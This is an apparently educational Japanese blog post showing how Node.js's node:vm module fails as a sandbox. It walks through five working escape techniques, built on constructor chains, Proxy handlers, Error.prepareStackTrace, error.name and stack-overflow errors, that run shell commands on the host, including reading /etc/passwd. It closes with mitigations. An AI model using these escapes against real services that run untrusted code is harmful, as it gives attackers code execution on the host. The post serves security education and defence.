📌

【絶対ダメ】node:vmモジュールをサンドボックスとして使ってみた!!!!

に公開

こんにちは、t-chenです。
[1]

突然ですが、オンラインで誰でも利用できるNode.js環境を準備しました。vmモジュールを利用してサンドボックス化したので、安全なはずです。普段遣いしていていろいろな情報が詰まったPCでサーバーを動かしていますが、大丈夫でしょう。

...

[2]

うわ〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜ハッキングされた〜〜〜〜〜〜〜〜〜〜〜

VMモジュールとは?

外部から受け取ったJavaScriptを実行したい、というニーズは常に一定数あります(競技プログラミングの計測サーバー、LLMが実験的に実行できる環境など)。しかし、それには常に悪意のあるコードを実行されてしまうというリスクがついてしまいます。任意のJavaScriptを安全に実行するためのサンドボックスとはどのように実装できるでしょうか。

Node.jsには、node:vmというモジュールがあります。これは、実行されている環境とは隔離された環境でJavaScriptのコードを実行できるモジュールです。これを利用すれば、一見隔離された環境として利用できるように思えるかもしれません。

残念ながらこのモジュールはサンドボックスとしては利用できません。 これはNode.jsの公式ドキュメントにも記載されています。

The node:vm module is not a security mechanism. Do not use it to run untrusted code.

(和訳)

node:vmモジュールはセキュリティのためのメカニズムではありません。信頼できないコードを実行するために利用しないでください。

どうして利用してはいけないのでしょうか?実際にサンドボックスから脱出しながらその仕組みを深追いしてみましょう。

Realmとは?

vmモジュールを説明する前に、JavaScriptの重要な仕様の一つであるRealm(レルム)について説明します。

Realmとは、「独立」したJavaScriptの実行環境を示します。それぞれのRealmは、以下の要素を含みます(網羅的ではありません)。

  • 組み込みオブジェクト(Array, Object, Functionなど)
  • グローバルオブジェクト(nodeではglobalあるいはglobalThisというオブジェクト)
  • グローバル変数

具体的な仕様はECMAScriptで定義されており、Node.jsだけではないJavaScriptの実行環境(Deno, Bun, ブラウザなど)でも使われている考え方です。

身近な例で言えば、ブラウザ環境において、あるページ内のJavaScriptのRealmとそのページ内で埋め込んだiframeのRealmは異なります。その結果、フレームを跨いでグローバル変数の共有はできませんし、Prototype Pollutionなどもフレームを跨ぐことはありません。

<iframe id="f"></iframe>
<script>
  const A = window.Array;
  const B = f.contentWindow.Array;

  console.log(A === B); // false
</script>

そして、vmモジュールは異なるRealmを提供し、その環境でコードを実行します。しかしながら、「Realmが違う=完全隔離」ではありません

また、この記事では便宜的に、

  • vmを呼び出している元のNode.js側のRealmを「ホスト側のRealm」
  • vm.runInNewContext()などで作られるRealmを「vm側のRealm」

と呼ぶことにします。

vmモジュールの使い方

VMモジュールは次の形式で利用できます。

const code = "let v = x * y; `The value is ${v}`";
const contextObject = {x: 7, y: 9};
console.log(vm.runInNewContext(code, contextObject)); // The value is 63
  • vm.runInNewContext()は新しいコンテキストを生成し、そのコンテキストでコードを実行する関数です。
  • 第二引数のcontextObjectはそのコンテキストで利用できる変数を定義したオブジェクトです。
  • 第一引数のコードの最後の式が関数の返り値となります。
  • globalprocessrequireimportなど、一般的にNode.jsで利用できる関数や変数は普通の方法では利用できず、import文なども実行できません。
  • 前述の通り、異なるRealmで実行されるので、vmのコンテキストの外で定義されたグローバル・ローカル変数にもアクセスできません。

バイパス1: this.constructorを利用する

トップレベルコードにおいて、第二引数で渡したコンテキストはthisという変数で参照できます。

console.log(vm.runInNewContext("this", { x: 'hi' })); // { x: 'hi' }

第二引数のcontextObject自体はホスト側のRealmでObjectコンストラクタから生成された普通のオブジェクトです。そのため、vm側のコードからthis.constructorとして参照したときも、ホスト側のRealmのObjectと一致します。

console.log(vm.runInNewContext("this.constructor", {}) === Object); // true

ObjectのコンストラクタのコンストラクタはFunctionなので、this.constructor.constructorでホスト側RealmのFunctionコンストラクタに到達できます。

console.log(vm.runInNewContext("this.constructor.constructor", {}) === Function); // true

FunctionクラスはFunction(code)()の形式で任意のコードを実行できます。そして、ホスト側のRealmのFunctionコンストラクタではprocessにアクセスできるため、それを利用して任意コード実行が可能となります。

const code = `
    this.constructor.constructor('return process')()
        .getBuiltinModule('child_process')
        .execSync('id')
        .toString()
`;
console.log(vm.runInNewContext(code, {})) 
// uid=1000(user) gid=1000(user) groups=1000(user)
process.getBuiltinModuleって?requireのような他の方法じゃだめ?

process.getBuiltinModuleとは、nodeの標準モジュールをロードできる関数です。node v20から実装された比較的新しい関数ですが、CommonJSでもES moduleでもどちらでも利用できるというメリットがあります。

CommonJSでは、ファイルを実行する際に、実際には次のような関数にラップされてから実行されます。

function (exports, require, module, __filename, __dirname) {
  /* ファイルの中身 */
}

したがって、requireのような変数は実際はグローバル変数ではなくローカル変数です。Function(code)()ではグローバル変数しか参照でいないため、requireは利用できないのです。対してprocessはグローバル変数なのでFunction(code)()でも取得できます。

ES Moduleにおいては、require関数はそもそも存在しません。import関数(dynamic import)に関しては、importModuleDynamicallyオプションを有効にしなければ、vm内では利用できないようです。

import vm from 'vm';

const code = `
this.constructor.constructor('(async() => console.log(await import("fs")))()')()
`;
vm.runInNewContext(code, {}, { importModuleDynamically: vm.constants.USE_MAIN_CONTEXT_DEFAULT_LOADER });

(あれ?でもホスト側のRealmから取得したimport関数であれば、vm内で利用できるかどうかは関係ないはずですよね?なんでだろう...要リサーチです)

以上より、Function(code)()を利用する場面では、processを利用して各種モジュールにアクセスするしか方法がないのです。

nodeのバージョンが古くてprocess.getBuiltinModuleが動かないよ😢

CommonJSを利用しているのであればどのバージョンでも次のコードでchild_processモジュールを取得できます。

process.mainModule.constructor._load("child_process")

ES Moduleにおいては、私の知る限りではprocessから任意のモジュールを取得する方法はありません(ご存知の方がいたら教えてください)。ただし、任意コード実行に関しては、次の内部APIを利用する方法で行うことができます。

// cat /etc/passwdを実行する例
process.binding('spawn_sync').spawn({
    file: 'cat',
    args: ['cat', '/etc/passwd'],
    stdio: [
        { type: 'inherit', fd: 0 },
        { type: 'inherit', fd: 1 },
        { type: 'inherit', fd: 2 }
    ]
})

ただし、これはコンテキストオブジェクトのプロトタイプをnullとし、this.constructorを利用してホスト側のRealmのObjectを取得できなくすることで防止することができます。

console.log(vm.runInNewContext("this.constructor", {}) === Object); // true
console.log(vm.runInNewContext("this.constructor", Object.create(null)) === Object); // false

バイパス2: Proxyを利用する

Proxyオブジェクトを利用すると、あるオブジェクトの要素が参照される、オブジェクトの要素が代入される、オブジェクトが関数として実行されるといった操作をされた場合に、その操作をハンドラーでラップして介入することができます。

例えば、applyという名前のハンドラを登録すれば、関数の実行に介入できます

const callme = new Proxy(() => {}, {
    apply(target, thisArg, argumentsList) {
        console.log("I'm called!")
    }
});
callme() // I'm called!

そして、このargumentListはホスト側のRealmで生成されます。したがって、このオブジェクトのコンストラクタを辿ることにより、processにアクセスすることができます。

const code = `
const callme = new Proxy(() => {}, {
    apply(target, thisArg, argumentsList) {
        argumentsList.constructor.constructor('return process')()
            .getBuiltinModule('child_process')
            .execSync('id', {stdio: 'inherit'});
    }
});
callme
`;

const callme = vm.runInNewContext(code, Object.create(null));
callme()
// uid=1000(user) gid=1000(user) groups=1000(user)

同様の方法で、値が代入される際のハンドラであるsetを利用して、その操作に介入することができます。もし、代入される値がプリミティブな値でない場合は、その値のコンストラクタを辿ることができます。

const code = `
const v = new Proxy({}, {
    set(target, prop, value) {
        value.constructor.constructor('return process')()
            .getBuiltinModule('child_process')
            .execSync('id', {stdio: 'inherit'});
        return true;
    }
});
v
`;

const v = vm.runInNewContext(code, Object.create(null));
v.foo = {};
// uid=1000(user) gid=1000(user) groups=1000(user)

では値が参照のみされる場合や、代入される値がプリミティブな値の場合はどうでしょうか?この場合は、getsetハンドラを、さらにapplyを定義したProxyでラップすることにより、ホスト側のRealmで生成されたargumentsListを取得できます。

const code1 = `
const v = new Proxy({}, {
    get: new Proxy(() => {}, {
        apply: function(target, thisArg, argumentsList) {
            argumentsList.constructor.constructor('return process')()
                .getBuiltinModule('child_process')
                .execSync('id', {stdio: 'inherit'});
        }
    })
})
v
`;

const res1 = vm.runInNewContext(code1, Object.create(null));
res1.hi;
// uid=1000(user) gid=1000(user) groups=1000(user)

const code2 = `
const v = new Proxy({}, {
    set: new Proxy(() => {}, {
        apply: function(target, thisArg, argumentsList) {
            argumentsList.constructor.constructor('return process')()
                .getBuiltinModule('child_process')
                .execSync('id', {stdio: 'inherit'});
            return true;
        }
    })
})
v
`;

const res2 = vm.runInNewContext(code2, Object.create(null));
res2.foo = 'bar';
// uid=1000(user) gid=1000(user) groups=1000(user)

バイパス3: Error.prepareStackTraceを利用する方法

Node.jsでは、Error.prepareStackTraceを利用してスタックトレースで表示される文字列をコントロールできます。

Error.prepareStackTrace = (error, stacks) => {
    console.log("prepareStackTrace called!");
}
throw new Error() // prepareStackTraceが呼ばれる

この関数にバイパス2の手法を組み合わせることにより、ホストのコードで明示的に関数を呼び出すコードがなくても良くなります。

const code = `
Error.prepareStackTrace = new Proxy(() => {}, {
    apply(target, thisArg, argumentsList) {
        argumentsList.constructor.constructor('return process')()
            .getBuiltinModule('child_process')
            .execSync('id', {stdio: 'inherit'});
    }
});
throw new Error();
`;

vm.runInNewContext(code, Object.create(null));
// uid=1000(user) gid=1000(user) groups=1000(user)

この方法であれば、vm.runInNewContext以降に一切のガジェットが必要ありません。

また、この際、Error.prepareStackTraceの第二引数ははスタックフレームを表すCallSiteオブジェクトのリストになります。Node v20以前では、このリストはホスト側のRealmで生成されます。したがって、このオブジェクトを利用することでprocessにアクセスすることができます。

const code = `
Error.prepareStackTrace = (error, stack) => {
    stack.constructor.constructor('return process')()
        .getBuiltinModule('child_process')
        .execSync('id', {stdio: 'inherit'});

}
throw new Error()
`;

vm.runInNewContext(code, Object.create(null));
// uid=1000(user) gid=1000(user) groups=1000(user)

Node v21以降では、CallSiteオブジェクトのリストがvm側のRealmで生成されるようになりました。したがって、この方法は利用できません。

バイパス4: error.nameProxyを適用する方法

ECMAScript section 20.5.3.4によれば、エラーが発生してError.prototype.toString()が実行されるとき、this.name.toString()が呼ばれると定義され、Node.jsもそれに準じています。

toStringをProxyでフックすると、バイパス2で示した方法で任意コード実行を行うことができます。

const code = `
const err = new Error();
err.name = {
    toString: new Proxy(() => "", {
        apply(target, thisArg, argumentsList) {
            argumentsList.constructor.constructor('return process')()
                .getBuiltinModule('child_process')
                .execSync('id', {stdio: 'inherit'});
        },
    }),
};
throw err;
`;

vm.runInNewContext(code, Object.create(null));
// uid=1000(user) gid=1000(user) groups=1000(user)

同様のことが、error.messageでも実行できます。このように、明示的ではない参照が起きるパターンは他にもありそうですね。

バイパス5: 最大スタック数エラーの利用

ホスト側のRealmで生成されるエラーオブジェクトをキャッチすることができたら、そのエラーオブジェクトからprocessを取得することができます。

const code = `
try {
    f()
} catch (e) {
    e.constructor.constructor('return process')()
        .getBuiltinModule('child_process')
        .execSync('id', {stdio: 'inherit'});
}
`;

const context = Object.create(null);
context.f = () => {
    throw new Error();
};
vm.runInNewContext(code, context);
// uid=1000(user) gid=1000(user) groups=1000(user)

new Error().stackを評価すると、Error.prepareStackTraceを引き起こすことができます。したがって、ホスト側でError.prepareStackTrace内でエラーを引き起こすことができれば、コンテキストに何も渡されなくてもそのようなエラーを取得することができます。

Error.prepareStackTrace = () => {
    throw new Error();
}

const code = `
try {
    new Error().stack
} catch (e) {
    e.constructor.constructor('return process')()
        .getBuiltinModule('child_process')
        .execSync('id', {stdio: 'inherit'});
}
`;


vm.runInNewContext(code, Object.create(null));
// uid=1000(user) gid=1000(user) groups=1000(user)

デフォルトのError.prepareStackTraceでエラーを引き起こすことができれば、前提条件なしにprocessを取得することができます。そして、それを引き起こせるのが最大スタック数エラーです。以下の例では、再帰関数を利用することで、意図的にError.prepareStackTrace内で最大スタック数エラーを引き起こし、それによりホスト側のRealmで生成されたエラーオブジェクトをcatchしています。

const code = `
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (e) {
    e.constructor.constructor('return process')()
        .getBuiltinModule('child_process')
        .execSync('id', {stdio: 'inherit'});
}
`;
vm.runInNewContext(code, Object.create(null));
// uid=1000(user) gid=1000(user) groups=1000(user)

私が確認した限りでは、Node v14以降のバージョンであればこの方法が有効です。Proxy=が一切使われていないのが特徴ですね。

vmモジュールがダメならどうすればいい?

  1. そもそも、可能であれば信頼できないコードを実行しないでください
  2. どうしても信頼できないコードを実行したい場合は、isolated-vmモジュールを利用しましょう。
    • v8のIsolateインターフェースを直接利用することで、独立性を保つ設計です。
    • vmでコンテキストを通して値を渡すように、コードに値を渡すことができません。値を渡すには、コードに直接埋め込む必要があります。
    • 実行環境によってはモジュール自体が動かないなど、うまく動かすためのハードルが高いです。
  3. あるいは vm2モジュールも選択肢です
    • 内部的にvmモジュールを利用しており、コードをサニタイズしながらコンテキストや返り値を安全な形式にラップすることで、安全性を担保する設計です。
    • ただし、vm2は過去に何度かSandbox Escapeの脆弱性が報告されています(トリビア: この記事のバイパス3〜5は実はvm2のCVEを参考にしました)
  4. いずれを利用するにしても、必ずバージョンを最新にして、最悪サンドボックスから脱出されても大丈夫なような設計にしましょう

まとめ

vmモジュールをサンドボックス環境として使うのはやめましょう。脱出は容易です。

[3]

PCは直しておきます。

それでは、さようなら。

スペシャルサンクス

Infobahnの22shさんにバイパス5の考察を手伝っていただきました。ありがとうございました。

参考文献

VM (executing JavaScript) | Node.js v25.2.1 Documentation
JavaScript 実行モデル ~ JavaScript の非同期を理解する 第 2 弾
jcreedcmu/escape.js
GHSA-7jxr-cg7f-gpgv (VM2 - Sandbox Escape)
GHSA-xj72-wvfv-8985 (VM2 - Sandbox Escape)
GHSA-whpj-8f3w-67p5 (VM2 - Sandbox Escape)

脚注
  1. Made with ChatGPT. 本人とは無関係です。 ↩︎

  2. Made with Sora. 本人のPCとは無関係です。 ↩︎

  3. Made with Sora. おっきいサーバー、いいですよね。 ↩︎

Discussion